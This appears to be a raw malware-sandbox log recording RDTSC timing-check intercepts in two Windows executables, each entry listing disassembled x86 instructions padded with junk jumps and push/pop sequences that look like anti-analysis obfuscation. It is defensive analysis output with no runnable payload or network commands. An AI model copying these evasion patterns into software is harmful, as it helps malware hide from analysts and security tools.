Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5110688 second address: 5110678 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9598E72AD8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b inc edx 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F9598E72ACEh 0x00000013 sub ch, 00000038h 0x00000016 jmp 00007F9598E72ACBh 0x0000001b popfd 0x0000001c pushfd 0x0000001d jmp 00007F9598E72AD8h 0x00000022 and eax, 53334998h 0x00000028 jmp 00007F9598E72ACBh 0x0000002d popfd 0x0000002e popad 0x0000002f test al, al 0x00000031 pushad 0x00000032 mov edi, ecx 0x00000034 pushfd 0x00000035 jmp 00007F9598E72AD0h 0x0000003a sub cl, FFFFFFF8h 0x0000003d jmp 00007F9598E72ACBh 0x00000042 popfd 0x00000043 popad 0x00000044 jne 00007F9598E72A10h 0x0000004a mov al, byte ptr [edx] 0x0000004c push eax 0x0000004d push edx 0x0000004e push eax 0x0000004f push edx 0x00000050 jmp 00007F9598E72ACAh 0x00000055 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5110724 second address: 511072A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 511072A second address: 51107E9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9598E72ACAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 sub edx, esi 0x0000000b pushad 0x0000000c mov bx, 3822h 0x00000010 call 00007F9598E72AD3h 0x00000015 pushad 0x00000016 popad 0x00000017 pop ecx 0x00000018 popad 0x00000019 mov edi, dword ptr [ebp+08h] 0x0000001c pushad 0x0000001d pushad 0x0000001e pushfd 0x0000001f jmp 00007F9598E72AD1h 0x00000024 xor cx, 7CA6h 0x00000029 jmp 00007F9598E72AD1h 0x0000002e popfd 0x0000002f pushfd 0x00000030 jmp 00007F9598E72AD0h 0x00000035 xor al, 00000048h 0x00000038 jmp 00007F9598E72ACBh 0x0000003d popfd 0x0000003e popad 0x0000003f pushfd 0x00000040 jmp 00007F9598E72AD8h 0x00000045 xor esi, 23DCB4A8h 0x0000004b jmp 00007F9598E72ACBh 0x00000050 popfd 0x00000051 popad 0x00000052 dec edi 0x00000053 push eax 0x00000054 push edx 0x00000055 jmp 00007F9598E72AD5h 0x0000005a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51107E9 second address: 5110818 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, 4B52h 0x00000007 mov al, dl 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c lea ebx, dword ptr [edi+01h] 0x0000000f jmp 00007F95994487B2h 0x00000014 mov al, byte ptr [edi+01h] 0x00000017 pushad 0x00000018 mov bl, DDh 0x0000001a popad 0x0000001b inc edi 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5110818 second address: 511081C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 511081C second address: 5110822 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5110822 second address: 5110835 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9598E72ACFh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5110835 second address: 51108CD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F95994487B9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b test al, al 0x0000000d jmp 00007F95994487AEh 0x00000012 jne 00007F960B4E09C1h 0x00000018 pushad 0x00000019 pushfd 0x0000001a jmp 00007F95994487AEh 0x0000001f add ecx, 7F825088h 0x00000025 jmp 00007F95994487ABh 0x0000002a popfd 0x0000002b pushfd 0x0000002c jmp 00007F95994487B8h 0x00000031 jmp 00007F95994487B5h 0x00000036 popfd 0x00000037 popad 0x00000038 mov ecx, edx 0x0000003a push eax 0x0000003b push edx 0x0000003c jmp 00007F95994487ADh 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51108CD second address: 51108DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9598E72ACCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51108DD second address: 511091E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 shr ecx, 02h 0x0000000b pushad 0x0000000c call 00007F95994487B9h 0x00000011 mov ebx, esi 0x00000013 pop eax 0x00000014 popad 0x00000015 rep movsd 0x00000017 rep movsd 0x00000019 rep movsd 0x0000001b rep movsd 0x0000001d rep movsd 0x0000001f pushad 0x00000020 push ebx 0x00000021 movzx eax, bx 0x00000024 pop edi 0x00000025 call 00007F95994487AEh 0x0000002a push eax 0x0000002b push edx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 511091E second address: 511096B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 mov ecx, edx 0x00000008 jmp 00007F9598E72AD7h 0x0000000d and ecx, 03h 0x00000010 pushad 0x00000011 mov dx, cx 0x00000014 push eax 0x00000015 push edx 0x00000016 pushfd 0x00000017 jmp 00007F9598E72ACEh 0x0000001c jmp 00007F9598E72AD5h 0x00000021 popfd 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 511096B second address: 51109CD instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F95994487B0h 0x00000008 or ecx, 43DD7128h 0x0000000e jmp 00007F95994487ABh 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 popad 0x00000017 rep movsb 0x00000019 pushad 0x0000001a mov eax, 5A99553Bh 0x0000001f mov ah, 0Ah 0x00000021 popad 0x00000022 mov dword ptr [ebp-04h], FFFFFFFEh 0x00000029 push eax 0x0000002a push edx 0x0000002b pushad 0x0000002c push eax 0x0000002d pop edx 0x0000002e pushfd 0x0000002f jmp 00007F95994487B0h 0x00000034 adc si, FEB8h 0x00000039 jmp 00007F95994487ABh 0x0000003e popfd 0x0000003f popad 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51109CD second address: 51109D3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51109D3 second address: 51109D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51109D7 second address: 51109DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51109DB second address: 5110A13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F95994487B8h 0x00000013 add ax, 1848h 0x00000018 jmp 00007F95994487ABh 0x0000001d popfd 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5110A13 second address: 5110AA9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, FF24h 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov ecx, dword ptr [ebp-10h] 0x0000000d pushad 0x0000000e call 00007F9598E72AD9h 0x00000013 pushfd 0x00000014 jmp 00007F9598E72AD0h 0x00000019 xor ax, 4D08h 0x0000001e jmp 00007F9598E72ACBh 0x00000023 popfd 0x00000024 pop eax 0x00000025 mov dh, 03h 0x00000027 popad 0x00000028 mov dword ptr fs:[00000000h], ecx 0x0000002f pushad 0x00000030 pushad 0x00000031 mov esi, 2494B413h 0x00000036 jmp 00007F9598E72AD8h 0x0000003b popad 0x0000003c push eax 0x0000003d push edx 0x0000003e pushfd 0x0000003f jmp 00007F9598E72AD0h 0x00000044 sub al, FFFFFFC8h 0x00000047 jmp 00007F9598E72ACBh 0x0000004c popfd 0x0000004d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5110AA9 second address: 5110AB7 instructions: 0x00000000 rdtsc 0x00000002 mov ah, 7Bh 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pop ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5110AB7 second address: 5110ABB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5110ABB second address: 5110AD7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F95994487B8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5110AD7 second address: 5110B28 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9598E72ACBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edi 0x0000000a pushad 0x0000000b mov eax, 7051C22Bh 0x00000010 pushfd 0x00000011 jmp 00007F9598E72AD0h 0x00000016 or cx, 11B8h 0x0000001b jmp 00007F9598E72ACBh 0x00000020 popfd 0x00000021 popad 0x00000022 pop esi 0x00000023 push eax 0x00000024 push edx 0x00000025 jmp 00007F9598E72AD5h 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5110B28 second address: 5110B53 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F95994487B1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebx 0x0000000a jmp 00007F95994487AEh 0x0000000f leave 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5110B53 second address: 5110B57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5110B57 second address: 5110B5B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5110B5B second address: 5110B61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5110B61 second address: 5110595 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F95994487B4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 retn 0008h 0x0000000c cmp dword ptr [ebp-2Ch], 10h 0x00000010 mov eax, dword ptr [ebp-40h] 0x00000013 jnc 00007F95994487A5h 0x00000015 push eax 0x00000016 lea edx, dword ptr [ebp-00000590h] 0x0000001c push edx 0x0000001d call esi 0x0000001f push 00000008h 0x00000021 pushad 0x00000022 mov si, 3813h 0x00000026 mov di, ax 0x00000029 popad 0x0000002a push 0C89002Dh 0x0000002f push eax 0x00000030 push edx 0x00000031 jmp 00007F95994487AEh 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5110C86 second address: 5110C8A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5110C8A second address: 5110C90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsHCAEHJJKFC.exe	RDTSC instruction interceptor: First address: CE1253 second address: CE125F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 jo 00007F9598E72AC6h 0x0000000c rdtsc
Source: C:\Users\user\DocumentsHCAEHJJKFC.exe	RDTSC instruction interceptor: First address: CE125F second address: CE1263 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHCAEHJJKFC.exe	RDTSC instruction interceptor: First address: CE1651 second address: CE1657 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsHCAEHJJKFC.exe	RDTSC instruction interceptor: First address: CE1657 second address: CE165E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\DocumentsHCAEHJJKFC.exe	RDTSC instruction interceptor: First address: CE165E second address: CE1683 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9598E72ACCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F9598E72AD0h 0x00000011 push eax 0x00000012 pop eax 0x00000013 rdtsc
Source: C:\Users\user\DocumentsHCAEHJJKFC.exe	RDTSC instruction interceptor: First address: CE1683 second address: CE1691 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jl 00007F95994487A6h 0x0000000e rdtsc
Source: C:\Users\user\DocumentsHCAEHJJKFC.exe	RDTSC instruction interceptor: First address: CE193C second address: CE194C instructions: 0x00000000 rdtsc 0x00000002 jng 00007F9598E72AC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push edx 0x0000000d pop edx 0x0000000e push edx 0x0000000f pop edx 0x00000010 rdtsc
Source: C:\Users\user\DocumentsHCAEHJJKFC.exe	RDTSC instruction interceptor: First address: CE194C second address: CE1962 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F95994487ADh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edi 0x0000000a pushad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\DocumentsHCAEHJJKFC.exe	RDTSC instruction interceptor: First address: CE1962 second address: CE1968 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsHCAEHJJKFC.exe	RDTSC instruction interceptor: First address: CE1968 second address: CE1977 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F95994487A6h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f rdtsc
Source: C:\Users\user\DocumentsHCAEHJJKFC.exe	RDTSC instruction interceptor: First address: CE57E3 second address: CE5813 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9598E72ACAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d push edx 0x0000000e jmp 00007F9598E72AD4h 0x00000013 pop edx 0x00000014 mov eax, dword ptr [eax] 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push eax 0x0000001a pop eax 0x0000001b pop eax 0x0000001c rdtsc
Source: C:\Users\user\DocumentsHCAEHJJKFC.exe	RDTSC instruction interceptor: First address: CE5813 second address: CE5835 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F95994487AAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d pushad 0x0000000e jmp 00007F95994487ABh 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\DocumentsHCAEHJJKFC.exe	RDTSC instruction interceptor: First address: CE5835 second address: CE5839 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHCAEHJJKFC.exe	RDTSC instruction interceptor: First address: CE58CF second address: CE58DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push ebx 0x00000009 push esi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\DocumentsHCAEHJJKFC.exe	RDTSC instruction interceptor: First address: CE5A5A second address: CE5AAD instructions: 0x00000000 rdtsc 0x00000002 jo 00007F9598E72AC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push eax 0x0000000e call 00007F9598E72AC8h 0x00000013 pop eax 0x00000014 mov dword ptr [esp+04h], eax 0x00000018 add dword ptr [esp+04h], 00000017h 0x00000020 inc eax 0x00000021 push eax 0x00000022 ret 0x00000023 pop eax 0x00000024 ret 0x00000025 xor cx, 77B8h 0x0000002a pushad 0x0000002b mov edx, dword ptr [ebp+122D35B4h] 0x00000031 movzx esi, cx 0x00000034 popad 0x00000035 push 00000000h 0x00000037 xor dword ptr [ebp+122D1F0Ch], esi 0x0000003d push E7EFC6E9h 0x00000042 push eax 0x00000043 push edx 0x00000044 pushad 0x00000045 js 00007F9598E72AC6h 0x0000004b pushad 0x0000004c popad 0x0000004d popad 0x0000004e rdtsc
Source: C:\Users\user\DocumentsHCAEHJJKFC.exe	RDTSC instruction interceptor: First address: CE5AAD second address: CE5AB2 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsHCAEHJJKFC.exe	RDTSC instruction interceptor: First address: CE5AB2 second address: CE5B0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 add dword ptr [esp], 18103997h 0x0000000e mov ecx, dword ptr [ebp+122D3868h] 0x00000014 push 00000003h 0x00000016 and cl, 00000032h 0x00000019 push 00000000h 0x0000001b mov dword ptr [ebp+122D19F8h], esi 0x00000021 push 00000003h 0x00000023 push 00000000h 0x00000025 push edx 0x00000026 call 00007F9598E72AC8h 0x0000002b pop edx 0x0000002c mov dword ptr [esp+04h], edx 0x00000030 add dword ptr [esp+04h], 00000018h 0x00000038 inc edx 0x00000039 push edx 0x0000003a ret 0x0000003b pop edx 0x0000003c ret 0x0000003d mov dword ptr [ebp+122D1A2Fh], ebx 0x00000043 push BBD99289h 0x00000048 pushad 0x00000049 jbe 00007F9598E72AC8h 0x0000004f push ebx 0x00000050 pop ebx 0x00000051 push ebx 0x00000052 push eax 0x00000053 push edx 0x00000054 rdtsc
Source: C:\Users\user\DocumentsHCAEHJJKFC.exe	RDTSC instruction interceptor: First address: CE5B83 second address: CE5C26 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F95994487A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b mov dword ptr [esp], eax 0x0000000e push 00000000h 0x00000010 push ecx 0x00000011 call 00007F95994487A8h 0x00000016 pop ecx 0x00000017 mov dword ptr [esp+04h], ecx 0x0000001b add dword ptr [esp+04h], 0000001Dh 0x00000023 inc ecx 0x00000024 push ecx 0x00000025 ret 0x00000026 pop ecx 0x00000027 ret 0x00000028 mov dword ptr [ebp+122D1878h], ecx 0x0000002e push 00000000h 0x00000030 push ebx 0x00000031 add edx, dword ptr [ebp+122D38A4h] 0x00000037 pop ecx 0x00000038 push ecx 0x00000039 xor edi, dword ptr [ebp+122D3718h] 0x0000003f pop ecx 0x00000040 call 00007F95994487A9h 0x00000045 jmp 00007F95994487B5h 0x0000004a push eax 0x0000004b jmp 00007F95994487B0h 0x00000050 mov eax, dword ptr [esp+04h] 0x00000054 push esi 0x00000055 jp 00007F95994487ACh 0x0000005b pop esi 0x0000005c mov eax, dword ptr [eax] 0x0000005e pushad 0x0000005f jmp 00007F95994487ACh 0x00000064 jbe 00007F95994487ACh 0x0000006a push eax 0x0000006b push edx 0x0000006c rdtsc
Source: C:\Users\user\DocumentsHCAEHJJKFC.exe	RDTSC instruction interceptor: First address: CE5C26 second address: CE5CAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov dword ptr [esp+04h], eax 0x00000009 push ecx 0x0000000a push esi 0x0000000b push eax 0x0000000c pop eax 0x0000000d pop esi 0x0000000e pop ecx 0x0000000f pop eax 0x00000010 push 00000000h 0x00000012 push ebp 0x00000013 call 00007F9598E72AC8h 0x00000018 pop ebp 0x00000019 mov dword ptr [esp+04h], ebp 0x0000001d add dword ptr [esp+04h], 00000015h 0x00000025 inc ebp 0x00000026 push ebp 0x00000027 ret 0x00000028 pop ebp 0x00000029 ret 0x0000002a mov dword ptr [ebp+122D1E38h], edx 0x00000030 push 00000003h 0x00000032 call 00007F9598E72ACAh 0x00000037 movzx edx, dx 0x0000003a pop esi 0x0000003b push 00000000h 0x0000003d mov esi, 07D34AC9h 0x00000042 push 00000003h 0x00000044 push 00000000h 0x00000046 push ebp 0x00000047 call 00007F9598E72AC8h 0x0000004c pop ebp 0x0000004d mov dword ptr [esp+04h], ebp 0x00000051 add dword ptr [esp+04h], 00000015h 0x00000059 inc ebp 0x0000005a push ebp 0x0000005b ret 0x0000005c pop ebp 0x0000005d ret 0x0000005e jmp 00007F9598E72AD3h 0x00000063 push B13CA0F6h 0x00000068 push esi 0x00000069 push eax 0x0000006a push edx 0x0000006b pushad 0x0000006c popad 0x0000006d rdtsc
Source: C:\Users\user\DocumentsHCAEHJJKFC.exe	RDTSC instruction interceptor: First address: D05CDE second address: D05CE3 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsHCAEHJJKFC.exe	RDTSC instruction interceptor: First address: D05CE3 second address: D05CE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsHCAEHJJKFC.exe	RDTSC instruction interceptor: First address: CDCB19 second address: CDCB45 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F95994487A6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push esi 0x0000000d jno 00007F95994487A6h 0x00000013 pushad 0x00000014 popad 0x00000015 pop esi 0x00000016 pop ebx 0x00000017 pushad 0x00000018 jmp 00007F95994487B1h 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\DocumentsHCAEHJJKFC.exe	RDTSC instruction interceptor: First address: D03BB5 second address: D03BDF instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F9598E72AC8h 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F9598E72AD8h 0x0000000f js 00007F9598E72AC6h 0x00000015 rdtsc
Source: C:\Users\user\DocumentsHCAEHJJKFC.exe	RDTSC instruction interceptor: First address: D03BDF second address: D03BFD instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jnc 00007F95994487A6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jnp 00007F95994487A8h 0x00000016 push eax 0x00000017 push edx 0x00000018 push ebx 0x00000019 pop ebx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\DocumentsHCAEHJJKFC.exe	RDTSC instruction interceptor: First address: D03BFD second address: D03C01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHCAEHJJKFC.exe	RDTSC instruction interceptor: First address: D03C01 second address: D03C07 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsHCAEHJJKFC.exe	RDTSC instruction interceptor: First address: D03C07 second address: D03C18 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9598E72ACBh 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\DocumentsHCAEHJJKFC.exe	RDTSC instruction interceptor: First address: D03C18 second address: D03C1C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHCAEHJJKFC.exe	RDTSC instruction interceptor: First address: D03EE0 second address: D03EE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsHCAEHJJKFC.exe	RDTSC instruction interceptor: First address: D04012 second address: D0401D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 pushad 0x00000006 popad 0x00000007 push edi 0x00000008 pop edi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\DocumentsHCAEHJJKFC.exe	RDTSC instruction interceptor: First address: D0401D second address: D04023 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsHCAEHJJKFC.exe	RDTSC instruction interceptor: First address: D044F7 second address: D044FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 push esi 0x00000007 pop esi 0x00000008 rdtsc
Source: C:\Users\user\DocumentsHCAEHJJKFC.exe	RDTSC instruction interceptor: First address: D044FF second address: D04503 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHCAEHJJKFC.exe	RDTSC instruction interceptor: First address: D04624 second address: D04628 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHCAEHJJKFC.exe	RDTSC instruction interceptor: First address: D04628 second address: D0464C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9598E72AD3h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F9598E72ACBh 0x00000010 rdtsc
Source: C:\Users\user\DocumentsHCAEHJJKFC.exe	RDTSC instruction interceptor: First address: D0464C second address: D04656 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007F95994487A6h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsHCAEHJJKFC.exe	RDTSC instruction interceptor: First address: D04783 second address: D04787 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHCAEHJJKFC.exe	RDTSC instruction interceptor: First address: D04787 second address: D0478B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHCAEHJJKFC.exe	RDTSC instruction interceptor: First address: D04B7E second address: D04B83 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsHCAEHJJKFC.exe	RDTSC instruction interceptor: First address: D04B83 second address: D04B89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsHCAEHJJKFC.exe	RDTSC instruction interceptor: First address: D04B89 second address: D04BBD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 push ebx 0x00000009 jnl 00007F9598E72AC6h 0x0000000f pop ebx 0x00000010 jmp 00007F9598E72AD7h 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F9598E72ACBh 0x0000001c rdtsc
